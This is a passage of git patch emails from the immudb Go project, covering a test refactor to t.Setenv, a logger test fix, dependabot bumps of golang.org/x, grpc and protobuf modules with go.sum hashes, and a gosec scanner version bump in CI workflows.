+26,11 @@ import ( ) func TestGRPCError(t *testing.T) { - os.Setenv("LOG_LEVEL", "debug") - defer os.Unsetenv("LOG_LEVEL") + t.Setenv("LOG_LEVEL", "debug") bs, cli, _ := setupTestServerAndClientWithToken(t) t.Run("errors with token-based auth", func(t *testing.T) { - _, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`wrong`)) require.Equal(t, err.(errors.ImmuError).Error(), "invalid user name or password") @@ -41,7 +38,6 @@ func TestGRPCError(t *testing.T) { require.Equal(t, err.(errors.ImmuError).Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection) require.Equal(t, int32(0), err.(errors.ImmuError).RetryDelay()) require.NotNil(t, err.(errors.ImmuError).Stack()) - }) t.Run("errors with session-based auth", func(t *testing.T) { From e8b9c1ac2a11cc5679af195a4c7fd9a457db590b Mon Sep 17 00:00:00 2001 From: Eng Zer Jun Date: Wed, 2 Aug 2023 23:11:10 +0800 Subject: [PATCH 0711/1062] test: fix failing TestLogLevelFromEnvironment Signed-off-by: Eng Zer Jun --- embedded/logger/simple_test.go | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/embedded/logger/simple_test.go b/embedded/logger/simple_test.go index 307587dd6d..1a2ada27a3 100644 --- a/embedded/logger/simple_test.go +++ b/embedded/logger/simple_test.go @@ -60,8 +60,11 @@ func TestSimpleLogger(t *testing.T) { } func TestLogLevelFromEnvironment(t *testing.T) { - defaultLevel := LogLevelFromEnvironment() - require.Equal(t, LogInfo, defaultLevel) + t.Run("unset - default to info", func(t *testing.T) { + t.Setenv("LOG_LEVEL", "") + defaultLevel := LogLevelFromEnvironment() + require.Equal(t, LogInfo, defaultLevel) + }) t.Run("error", func(t *testing.T) { t.Setenv("LOG_LEVEL", "error") From 1a68cc2452b20cb1317142d224f6a56b1be6685b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 2 Aug 2023 18:22:14 +0000 Subject: [PATCH 0712/1062] chore(deps): bump golang.org/x/net from 0.12.0 to 0.13.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.12.0 to 0.13.0. - [Commits](https://github.com/golang/net/compare/v0.12.0...v0.13.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index ab138b6ff3..b4dd6832ab 100644 --- a/go.mod +++ b/go.mod @@ -34,7 +34,7 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.11.0 - golang.org/x/net v0.12.0 + golang.org/x/net v0.13.0 golang.org/x/sys v0.10.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc diff --git a/go.sum b/go.sum index 5ffe3672c3..e982aa3aa1 100644 --- a/go.sum +++ b/go.sum @@ -1466,8 +1466,8 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= -golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= +golang.org/x/net v0.13.0 h1:Nvo8UFsZ8X3BhAC9699Z1j7XQ3rsZnUUm7jfBEk1ueY= +golang.org/x/net v0.13.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= From cc2a29cbacc8daa3315eb899494c6dfe840d661d Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 4 Aug 2023 18:25:54 +0000 Subject: [PATCH 0713/1062] chore(deps): bump golang.org/x/sys from 0.10.0 to 0.11.0 Bumps [golang.org/x/sys](https://github.com/golang/sys) from 0.10.0 to 0.11.0. - [Commits](https://github.com/golang/sys/compare/v0.10.0...v0.11.0) --- updated-dependencies: - dependency-name: golang.org/x/sys dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/go.mod b/go.mod index b4dd6832ab..567013fc92 100644 --- a/go.mod +++ b/go.mod @@ -35,7 +35,7 @@ require ( github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.11.0 golang.org/x/net v0.13.0 - golang.org/x/sys v0.10.0 + golang.org/x/sys v0.11.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc google.golang.org/grpc v1.56.2 diff --git a/go.sum b/go.sum index e982aa3aa1..a43293427c 100644 --- a/go.sum +++ b/go.sum @@ -1619,8 +1619,9 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= From e6be7abcae9500f8a51d9d601ad181d7f7b4bae9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 7 Aug 2023 18:07:40 +0000 Subject: [PATCH 0714/1062] chore(deps): bump golang.org/x/net from 0.13.0 to 0.14.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.13.0 to 0.14.0. - [Commits](https://github.com/golang/net/compare/v0.13.0...v0.14.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 8 ++++---- go.sum | 17 ++++++++--------- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/go.mod b/go.mod index 567013fc92..78f5f04acc 100644 --- a/go.mod +++ b/go.mod @@ -33,8 +33,8 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.11.0 - golang.org/x/net v0.13.0 + golang.org/x/crypto v0.12.0 + golang.org/x/net v0.14.0 golang.org/x/sys v0.11.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.10.0 // indirect - golang.org/x/text v0.11.0 // indirect + golang.org/x/term v0.11.0 // indirect + golang.org/x/text v0.12.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect diff --git a/go.sum b/go.sum index a43293427c..65d4ac9ea3 100644 --- a/go.sum +++ b/go.sum @@ -1339,8 +1339,8 @@ golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5y golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= -golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= +golang.org/x/crypto v0.12.0 h1:tFM/ta59kqch6LlvYnPa0yx5a83cL2nHflFhYKvv9Yk= +golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20180807140117-3d87b88a115f/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1466,8 +1466,8 @@ golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.13.0 h1:Nvo8UFsZ8X3BhAC9699Z1j7XQ3rsZnUUm7jfBEk1ueY= -golang.org/x/net v0.13.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= +golang.org/x/net v0.14.0 h1:BONx9s002vGdD9umnlX1Po8vOZmrgH34qlHcD1MfK14= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -1619,7 +1619,6 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= @@ -1632,8 +1631,8 @@ golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= -golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= -golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= +golang.org/x/term v0.11.0 h1:F9tnn/DA/Im8nCwm+fX+1/eBwi4qFjRT++MhtVC4ZX0= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -1650,8 +1649,8 @@ golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= -golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= -golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= From 451cd0f426683503f85e2e1c239848057e104d78 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 17 Aug 2023 18:53:17 +0000 Subject: [PATCH 0715/1062] chore(deps): bump securego/gosec from 2.15.0 to 2.17.0 Bumps [securego/gosec](https://github.com/securego/gosec) from 2.15.0 to 2.17.0. - [Release notes](https://github.com/securego/gosec/releases) - [Changelog](https://github.com/securego/gosec/blob/master/.goreleaser.yml) - [Commits](https://github.com/securego/gosec/compare/v2.15.0...v2.17.0) --- updated-dependencies: - dependency-name: securego/gosec dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- .github/workflows/pull.yml | 2 +- .github/workflows/push.yml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 07f47863d8..81809f8635 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -124,7 +124,7 @@ jobs: with: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - - uses: securego/gosec@v2.15.0 + - uses: securego/gosec@v2.17.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 95ca38f33b..7b06612f33 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -35,7 +35,7 @@ jobs: go-version: ${{ env.GO_VERSION }} - uses: actions/checkout@v3 - name: Run Gosec Security Scanner - uses: securego/gosec@v2.15.0 + uses: securego/gosec@v2.17.0 with: args: -fmt=json -out=results-$JOB_ID.json -no-fail ./... From 1a9282b1a481d50fa216406b7a865e4273a4a826 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 23 Aug 2023 18:29:30 +0000 Subject: [PATCH 0716/1062] chore(deps): bump github.com/grpc-ecosystem/grpc-gateway/v2 Bumps [github.com/grpc-ecosystem/grpc-gateway/v2](https://github.com/grpc-ecosystem/grpc-gateway) from 2.16.0 to 2.17.0. - [Release notes](https://github.com/grpc-ecosystem/grpc-gateway/releases) - [Changelog](https://github.com/grpc-ecosystem/grpc-gateway/blob/main/.goreleaser.yml) - [Commits](https://github.com/grpc-ecosystem/grpc-gateway/compare/v2.16.0...v2.17.0) --- updated-dependencies: - dependency-name: github.com/grpc-ecosystem/grpc-gateway/v2 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 12 +-- go.sum | 242 ++++++++++++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 239 insertions(+), 15 deletions(-) diff --git a/go.mod b/go.mod index 78f5f04acc..271c21d33d 100644 --- a/go.mod +++ b/go.mod @@ -10,7 +10,7 @@ require ( github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 - github.com/grpc-ecosystem/grpc-gateway/v2 v2.16.0 + github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 github.com/influxdata/influxdb-client-go/v2 v2.12.3 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 @@ -37,10 +37,10 @@ require ( golang.org/x/net v0.14.0 golang.org/x/sys v0.11.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated - google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc - google.golang.org/grpc v1.56.2 + google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d + google.golang.org/grpc v1.57.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.30.0 + google.golang.org/protobuf v1.31.0 ) require ( @@ -103,8 +103,8 @@ require ( golang.org/x/term v0.11.0 // indirect golang.org/x/text v0.12.0 // indirect golang.org/x/tools v0.7.0 // indirect - google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect + google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect diff --git a/go.sum b/go.sum index 65d4ac9ea3..41b8bf32c2 100644 --- a/go.sum +++ b/go.sum @@ -34,33 +34,46 @@ cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRY cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= +cloud.google.com/go v0.110.2/go.mod h1:k04UEeEtb6ZBRTv3dZz4CeJC3jKGxyhl0sAiVVquxiw= +cloud.google.com/go v0.110.4/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= +cloud.google.com/go v0.110.6/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= +cloud.google.com/go/accessapproval v1.7.1/go.mod h1:JYczztsHRMK7NTXb6Xw+dwbs/WnOJxbo/2mTI+Kgg68= cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= +cloud.google.com/go/accesscontextmanager v1.8.0/go.mod h1:uI+AI/r1oyWK99NN8cQ3UK76AMelMzgZCvJfsi2c+ps= +cloud.google.com/go/accesscontextmanager v1.8.1/go.mod h1:JFJHfvuaTC+++1iL1coPiG1eu5D24db2wXCDWDjIrxo= cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= +cloud.google.com/go/aiplatform v1.45.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= +cloud.google.com/go/aiplatform v1.48.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= +cloud.google.com/go/analytics v0.21.2/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= +cloud.google.com/go/analytics v0.21.3/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= +cloud.google.com/go/apigateway v1.6.1/go.mod h1:ufAS3wpbRjqfZrzpvLC2oh0MFlpRJm2E/ts25yyqmXA= cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= cloud.google.com/go/apigeeconnect v1.5.0/go.mod h1:KFaCqvBRU6idyhSNyn3vlHXc8VMDJdRmwDF6JyFRqZ8= +cloud.google.com/go/apigeeconnect v1.6.1/go.mod h1:C4awq7x0JpLtrlQCr8AzVIzAaYgngRqWf9S5Uhg+wWs= cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= cloud.google.com/go/apigeeregistry v0.5.0/go.mod h1:YR5+s0BVNZfVOUkMa5pAR2xGd0A473vA5M7j247o1wM= cloud.google.com/go/apigeeregistry v0.6.0/go.mod h1:BFNzW7yQVLZ3yj0TKcwzb8n25CFBri51GVGOEUcgQsc= +cloud.google.com/go/apigeeregistry v0.7.1/go.mod h1:1XgyjZye4Mqtw7T9TsY4NW10U7BojBvG4RMD+vRDrIw= cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= cloud.google.com/go/apikeys v0.5.0/go.mod h1:5aQfwY4D+ewMMWScd3hm2en3hCj+BROlyrt3ytS7KLI= cloud.google.com/go/apikeys v0.6.0/go.mod h1:kbpXu5upyiAlGkKrJgQl8A0rKNNJ7dQ377pdroRSSi8= @@ -69,10 +82,12 @@ cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodC cloud.google.com/go/appengine v1.6.0/go.mod h1:hg6i0J/BD2cKmDJbaFSYHFyZkgBEfQrDg/X0V5fJn84= cloud.google.com/go/appengine v1.7.0/go.mod h1:eZqpbHFCqRGa2aCdope7eC0SWLV1j0neb/QnMJVWx6A= cloud.google.com/go/appengine v1.7.1/go.mod h1:IHLToyb/3fKutRysUlFO0BPt5j7RiQ45nrzEJmKTo6E= +cloud.google.com/go/appengine v1.8.1/go.mod h1:6NJXGLVhZCN9aQ/AEDvmfzKEfoYBlfB80/BHiKVputY= cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= cloud.google.com/go/area120 v0.7.0/go.mod h1:a3+8EUD1SX5RUcCs3MY5YasiO1z6yLiNLRiFrykbynY= cloud.google.com/go/area120 v0.7.1/go.mod h1:j84i4E1RboTWjKtZVWXPqvK5VHQFJRF2c1Nm69pWm9k= +cloud.google.com/go/area120 v0.8.1/go.mod h1:BVfZpGpB7KFVNxPiQBuHkX6Ed0rS51xIgmGyjrAfzsg= cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= @@ -81,6 +96,7 @@ cloud.google.com/go/artifactregistry v1.11.1/go.mod h1:lLYghw+Itq9SONbCa1YWBoWs1 cloud.google.com/go/artifactregistry v1.11.2/go.mod h1:nLZns771ZGAwVLzTX/7Al6R9ehma4WUEhZGWV6CeQNQ= 